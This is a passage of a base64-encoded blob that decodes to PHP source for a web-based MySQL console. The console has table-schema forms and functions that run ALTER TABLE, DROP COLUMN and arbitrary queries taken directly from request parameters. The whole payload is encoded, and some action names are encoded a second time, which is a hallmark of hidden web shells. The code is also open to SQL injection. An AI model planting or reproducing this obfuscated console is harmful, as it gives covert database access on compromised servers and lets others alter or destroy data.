YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXN